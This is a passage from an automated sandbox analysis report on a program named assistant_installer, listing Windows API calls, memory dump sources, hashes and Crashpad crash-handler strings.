                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • GetFileType.KERNELBASE(?,?,?,?,?,0076BA0A,00000008,?,?,?,?,?,00000000,008A4F64,00000000), ref: 0076CE88
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000014.00000002.2698307317.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698285865.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698461477.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698484109.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698511239.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_20_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: FileType
                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                • API String ID: 3081899298-0
                                                                                                                                                                                                                • Opcode ID: c58e199ec4a4f54f3ec7a40312c3077d35926ad65ac70eb09c489bc90bd3c3c4
                                                                                                                                                                                                                • Instruction ID: e339ff5457dc6907edf36cc8b5102cef71c8754f082f43b747351fcf479aa0cc
                                                                                                                                                                                                                • Opcode Fuzzy Hash: c58e199ec4a4f54f3ec7a40312c3077d35926ad65ac70eb09c489bc90bd3c3c4
                                                                                                                                                                                                                • Instruction Fuzzy Hash: CC3116B1A006068BDF25DF6CD8C15BEB3B6EF81310F14453AE897C7651E636EC40CAA1
                                                                                                                                                                                                                Function 0084F5C7 Relevance: 1.6, APIs: 1, Instructions: 59COMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000014.00000002.2698307317.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698285865.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698461477.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698484109.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698511239.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_20_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: __wsopen_s
                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                • API String ID: 3347428461-0
                                                                                                                                                                                                                • Opcode ID: 047ac7467bbf9a43740ee8f4a4c79faac96fd03fe862573a589d73b5a3bc5016
                                                                                                                                                                                                                • Instruction ID: 30f66778a8d42dddfe555b497cca6245e3a7f1920b4fa2372d8f4dc708eb1f8a
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 047ac7467bbf9a43740ee8f4a4c79faac96fd03fe862573a589d73b5a3bc5016
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 8B112571A0420EABCB05DF58E945A9A7BF8FB88314F154069F909EB212D631E921CBA5
                                                                                                                                                                                                                Function 00733F70 Relevance: 1.6, APIs: 1, Instructions: 51COMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • GetCommandLineW.KERNEL32(?,00000000), ref: 00733FE7
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000014.00000002.2698307317.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698285865.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698461477.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698484109.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698511239.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_20_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: CommandLine
                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                • API String ID: 3253501508-0
                                                                                                                                                                                                                • Opcode ID: ff280472b78ae1af462f081012ad15d5494d208b508afc61a9f1534889749d9f
                                                                                                                                                                                                                • Instruction ID: 273b0df0eba87891fb9a743a63f0c8eb3ce93864eaec8ac1f2ec25a7174ae3b6
                                                                                                                                                                                                                • Opcode Fuzzy Hash: ff280472b78ae1af462f081012ad15d5494d208b508afc61a9f1534889749d9f
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 27118CB15003008FE728DF14D818B13BBF5EB40718F09C19DD50A4B6A2EBBAA548CBA1
                                                                                                                                                                                                                Function 007581C0 Relevance: 1.5, APIs: 1, Instructions: 39COMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • CoInitializeEx.COMBASE(00000000,00000006,?,-00000001,?,006F107F,00000000), ref: 00758219
                                                                                                                                                                                                                  • Part of subcall function 0078E940: CoRegisterInitializeSpy.OLE32(00000000), ref: 0078E99E
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000014.00000002.2698307317.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698285865.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698461477.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698484109.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698511239.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_20_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: Initialize$Register
                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                • API String ID: 2642324518-0
                                                                                                                                                                                                                • Opcode ID: 714f7f9298f9e38b4dd1a0df3e16e41128cd296bc7d00beb852b1ace9cb08829
                                                                                                                                                                                                                • Instruction ID: 15300bcef8db29b9f3cd91b3566f89e9a63c872dd7e7898c0d4a0da213ab7359
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 714f7f9298f9e38b4dd1a0df3e16e41128cd296bc7d00beb852b1ace9cb08829
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 1EF0AF717443009BD7509BA9C809B577AD8FB85751F148069E919DB380DEB6D80687A2
                                                                                                                                                                                                                Function 007EA5C9 Relevance: 1.5, APIs: 1, Instructions: 23fileCOMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • CreateFileW.KERNELBASE(?,771B3390,00000003,00000000,00000000,00000080,00000000,7FFFFFFF), ref: 007EA5F4
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000014.00000002.2698307317.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698285865.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698461477.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698484109.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698511239.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_20_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: CreateFile
                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                • API String ID: 823142352-0
                                                                                                                                                                                                                • Opcode ID: 1e63a010d61c0f7bb86773b6e3a0957ee5b38a0845728f5ef1a1c2d5228c7e35
                                                                                                                                                                                                                • Instruction ID: 313c908cfd701fb2787ee7c9a86749439194b5e1c0b203db4c70e3afc7dffc5b
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 1e63a010d61c0f7bb86773b6e3a0957ee5b38a0845728f5ef1a1c2d5228c7e35
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 17E046716011A47BE620AB2ADC0DFA7FF5CEB0AAB0F058142F848AB041D260A88086E1
                                                                                                                                                                                                                Function 0083C9B7 Relevance: 1.5, APIs: 1, Instructions: 15fileCOMMONLIBRARYCODE
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • CreateFileW.KERNELBASE(00000000,00000000,?,0083C675,?,?,00000000,?,0083C675,00000000,0000000C), ref: 0083C9D4
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000014.00000002.2698307317.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698285865.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698461477.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698484109.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698511239.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_20_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: CreateFile
                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                • API String ID: 823142352-0
                                                                                                                                                                                                                • Opcode ID: 5f8c4ecd5b006f3bc91dca0ae7fe276f89ea03fb4a6baa71e1f17378b54f8322
                                                                                                                                                                                                                • Instruction ID: 3cc235682ce47d9e8d8438c1ff6bdd7cbbba284e5a692c48fc0653936fa34d36
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 5f8c4ecd5b006f3bc91dca0ae7fe276f89ea03fb4a6baa71e1f17378b54f8322
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 10D06C3200014DBFDF029F84DC06EDA3BAAFB48714F018000BA1856060C732E821AB91
                                                                                                                                                                                                                Function 00758370 Relevance: 1.5, APIs: 1, Instructions: 12COMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • GetHandleVerifier.ASSISTANT_INSTALLER(?,?,0075631A,?,00000000,?,008A4CF8,?,?,?,?,0075648D,00000000), ref: 00758377
                                                                                                                                                                                                                  • Part of subcall function 0078EB90: GetModuleHandleW.KERNEL32(00000000), ref: 0078EB9E
                                                                                                                                                                                                                  • Part of subcall function 0078EB90: GetProcAddress.KERNEL32(00000000,GetHandleVerifier), ref: 0078EBAA
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000014.00000002.2698307317.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698285865.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698461477.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698484109.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698511239.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_20_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: Handle$AddressModuleProcVerifier
                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                • API String ID: 3286154149-0
                                                                                                                                                                                                                • Opcode ID: 1cc07427af520186a7326f8132783c901fbcac9168e32443b6a52e1578090511
                                                                                                                                                                                                                • Instruction ID: 64dd54947b8c11f1bf8816aba4ee84896083a32872781230b5402c190280b0b2
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 1cc07427af520186a7326f8132783c901fbcac9168e32443b6a52e1578090511
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 80C04C31241528AF8A007A55D8558EE7B9DDE4B26170044A1F90A9B211DB656D4147E5
                                                                                                                                                                                                                Function 0073AA30 Relevance: 1.3, APIs: 1, Instructions: 93COMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • GetLastError.KERNEL32(?,?,?,?,?,?,?,?,00000000,?,?,?,00716046,?,?,00000000), ref: 0073AAD9
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000014.00000002.2698307317.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698285865.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698461477.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698484109.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698511239.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_20_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: ErrorLast
                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                • API String ID: 1452528299-0
                                                                                                                                                                                                                • Opcode ID: 3e3e25b9cb75b9274712af8aa721c9e1317708e0c512902f8a137f8c5ab95a99
                                                                                                                                                                                                                • Instruction ID: 75481f6ba227fae18beb53ef85ed3775b9825d56f069b71679fc1dac74462265
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 3e3e25b9cb75b9274712af8aa721c9e1317708e0c512902f8a137f8c5ab95a99
                                                                                                                                                                                                                • Instruction Fuzzy Hash: D231F671604340AFEB04DF14D881A6BBBE5EF85354F04862DF88597292D738E655CB53
                                                                                                                                                                                                                Function 007582A0 Relevance: 1.3, APIs: 1, Instructions: 29COMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • CoUninitialize.COMBASE ref: 007582D2
                                                                                                                                                                                                                  • Part of subcall function 0078E9E0: CoRevokeInitializeSpy.OLE32 ref: 0078EA13
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000014.00000002.2698307317.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698285865.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698461477.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698484109.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698511239.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_20_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: InitializeRevokeUninitialize
                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                • API String ID: 3049223277-0
                                                                                                                                                                                                                • Opcode ID: 087c4b3f4cde3e5c62fbfec77c408357400360a66a72853e6a5f7b168ae94349
                                                                                                                                                                                                                • Instruction ID: 89159f52dab49f74e32a6e2005b86733102dba7d36c486cabf7c245c2991d068
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 087c4b3f4cde3e5c62fbfec77c408357400360a66a72853e6a5f7b168ae94349
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 60F05E312017058BD7549F95C498B977FA8FF01346F08845DE84ADB660CFB6E846CB51

                                                                                                                                                                                                                Non-executed Functions

                                                                                                                                                                                                                Function 007B206C Relevance: 60.7, APIs: 14, Strings: 20, Instructions: 1183COMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • SetUnhandledExceptionFilter.KERNEL32(007B31D0), ref: 007B2092
                                                                                                                                                                                                                • SetConsoleCtrlHandler.KERNEL32(007B31B0,00000001), ref: 007B20A4
                                                                                                                                                                                                                • _strlen.LIBCMT ref: 007B20ED
                                                                                                                                                                                                                • _strlen.LIBCMT ref: 007B22D4
                                                                                                                                                                                                                • _strlen.LIBCMT ref: 007B22F5
                                                                                                                                                                                                                • _strlen.LIBCMT ref: 007B235B
                                                                                                                                                                                                                • _strlen.LIBCMT ref: 007B237C
                                                                                                                                                                                                                • SetUnhandledExceptionFilter.KERNEL32(007B31D0,?,?,?,?,?,?,?,00000001,00000000,?,?,--no-periodic-tasks), ref: 007B29C6
                                                                                                                                                                                                                • _strlen.LIBCMT ref: 007B2A5B
                                                                                                                                                                                                                • _strlen.LIBCMT ref: 007B2A77
                                                                                                                                                                                                                • SetProcessShutdownParameters.KERNEL32(00000100,00000001), ref: 007B2CF9
                                                                                                                                                                                                                • __Init_thread_header.LIBCMT ref: 007B2F17
                                                                                                                                                                                                                • __Init_thread_footer.LIBCMT ref: 007B2F50
                                                                                                                                                                                                                • _strlen.LIBCMT ref: 007B3014
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                • --database is required, xrefs: 007B2AE6
                                                                                                                                                                                                                • , discarding value , xrefs: 007B3061
                                                                                                                                                                                                                • ../../third_party/crashpad/crashpad/handler/handler_main.cc, xrefs: 007B2D23, 007B2EE9, 007B3002
                                                                                                                                                                                                                • failed to parse --initial-client-data, xrefs: 007B2AD5
                                                                                                                                                                                                                • --monitor-self-argument=--monitor-self is not supported, xrefs: 007B2EF8
                                                                                                                                                                                                                • --annotation, xrefs: 007B224E
                                                                                                                                                                                                                • --no-identify-client-via-url, xrefs: 007B27F0
                                                                                                                                                                                                                • --initial-client-data or --pipe-name is required, xrefs: 007B2B8C
                                                                                                                                                                                                                • --no-rate-limit, xrefs: 007B284B
                                                                                                                                                                                                                • --monitor-self, xrefs: 007B27A8
                                                                                                                                                                                                                • CrashpadMetrics, xrefs: 007B2DFA, 007B2E22
                                                                                                                                                                                                                • SetProcessShutdownParameters, xrefs: 007B2D32
                                                                                                                                                                                                                • has duplicate key , xrefs: 007B302D
                                                                                                                                                                                                                • !#{, xrefs: 007B3010, 007B3013, 007B301D
                                                                                                                                                                                                                • --initial-client-data and --pipe-name are incompatible, xrefs: 007B26B5
                                                                                                                                                                                                                • --monitor-self-annotation, xrefs: 007B2317
                                                                                                                                                                                                                • --no-periodic-tasks, xrefs: 007B2819
                                                                                                                                                                                                                • --no-upload-gzip, xrefs: 007B287D
                                                                                                                                                                                                                • Usage: %ls [OPTION]...Crashpad's exception handler server. --annotation=KEY=VALUE set a process annotation in each crash report --attachment=FILE_PATH attach specified file to each crash report at the time of the c, xrefs: 007B26EF
                                                                                                                                                                                                                • --monitor-self-annotation=%s=%s, xrefs: 007B28CC
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000014.00000002.2698307317.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698285865.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698461477.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698484109.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698511239.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_20_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: _strlen$ExceptionFilterUnhandled$ConsoleCtrlHandlerInit_thread_footerInit_thread_headerParametersProcessShutdown
                                                                                                                                                                                                                • String ID: has duplicate key $!#{$, discarding value $--annotation$--database is required$--initial-client-data and --pipe-name are incompatible$--initial-client-data or --pipe-name is required$--monitor-self$--monitor-self-annotation$--monitor-self-annotation=%s=%s$--monitor-self-argument=--monitor-self is not supported$--no-identify-client-via-url$--no-periodic-tasks$--no-rate-limit$--no-upload-gzip$../../third_party/crashpad/crashpad/handler/handler_main.cc$CrashpadMetrics$SetProcessShutdownParameters$Usage: %ls [OPTION]...Crashpad's exception handler server. --annotation=KEY=VALUE set a process annotation in each crash report --attachment=FILE_PATH attach specified file to each crash report at the time of the c$failed to parse --initial-client-data
                                                                                                                                                                                                                • API String ID: 3033975033-719561574
                                                                                                                                                                                                                • Opcode ID: c24d456c4de60d5a97dd3a4266b7ef6996b1abdea9021d9dd7991f315fd5ed4a
                                                                                                                                                                                                                • Instruction ID: de0ecd9d1804a03d4a0555897857ca54f3b67e19426af305130bd7db4f4bd6d6
                                                                                                                                                                                                                • Opcode Fuzzy Hash: c24d456c4de60d5a97dd3a4266b7ef6996b1abdea9021d9dd7991f315fd5ed4a
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 53A2E2B1601B409FE721EF34C885BE7B7E5BF55300F04492DE49A97282EB38B94AC752
                                                                                                                                                                                                                Function 0075A6D0 Relevance: 24.6, APIs: 13, Strings: 1, Instructions: 128threadCOMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • GetCurrentThread.KERNEL32 ref: 0075A709
                                                                                                                                                                                                                • GetThreadPriority.KERNEL32(00000000), ref: 0075A70C
                                                                                                                                                                                                                • GetCurrentThread.KERNEL32 ref: 0075A716
                                                                                                                                                                                                                • SetThreadPriority.KERNEL32(00000000,00000002), ref: 0075A71B
                                                                                                                                                                                                                • QueryPerformanceCounter.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 0075A782
                                                                                                                                                                                                                • GetCurrentThread.KERNEL32 ref: 0075A790
                                                                                                                                                                                                                • SetThreadPriority.KERNEL32(00000000,?), ref: 0075A79B
                                                                                                                                                                                                                • QueryPerformanceFrequency.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 0075A7B2
                                                                                                                                                                                                                • __Init_thread_header.LIBCMT ref: 0075A87E
                                                                                                                                                                                                                • __Init_thread_footer.LIBCMT ref: 0075A8A5
                                                                                                                                                                                                                • __Init_thread_header.LIBCMT ref: 0075A8B7
                                                                                                                                                                                                                • QueryPerformanceCounter.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 0075A8E1
                                                                                                                                                                                                                • __Init_thread_footer.LIBCMT ref: 0075A8FF
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000014.00000002.2698307317.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698285865.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698461477.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698484109.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698511239.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_20_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: Thread$CurrentPerformancePriorityQuery$CounterInit_thread_footerInit_thread_header$Frequency
                                                                                                                                                                                                                • String ID: 0v
                                                                                                                                                                                                                • API String ID: 521408450-3012449218
                                                                                                                                                                                                                • Opcode ID: b23a4a010be1f66307ff9db206293f0ac777fca40270af5a9f75375eccadab55
                                                                                                                                                                                                                • Instruction ID: f1eeb15e3a202e27b90f82f0c6eea9905665b143b3a62bc7e1e568d1ebefc763
                                                                                                                                                                                                                • Opcode Fuzzy Hash: b23a4a010be1f66307ff9db206293f0ac777fca40270af5a9f75375eccadab55
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 39510371809740DFD701EF38E84564AB7E4FFCA3A5F11872AF88963261DB74A646CB42
                                                                                                                                                                                                                Function 00710746 Relevance: 24.4, APIs: 16, Instructions: 391COMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • GetUserNameW.ADVAPI32(?,?), ref: 007108BB
                                                                                                                                                                                                                • GetNamedSecurityInfoW.ADVAPI32(?,?,00000004,00000000,00000000,?,00000000,?,?,?,00000000), ref: 00710905
                                                                                                                                                                                                                • GetNamedSecurityInfoW.ADVAPI32(?,?,00000004,00000000,00000000,?,00000000,?), ref: 0071093C
                                                                                                                                                                                                                • GetExplicitEntriesFromAclW.ADVAPI32(?,?,?,?,?,00000000), ref: 00710958
                                                                                                                                                                                                                • CheckTokenMembership.ADVAPI32(00000000,?,FFFFFFFF), ref: 0071099C
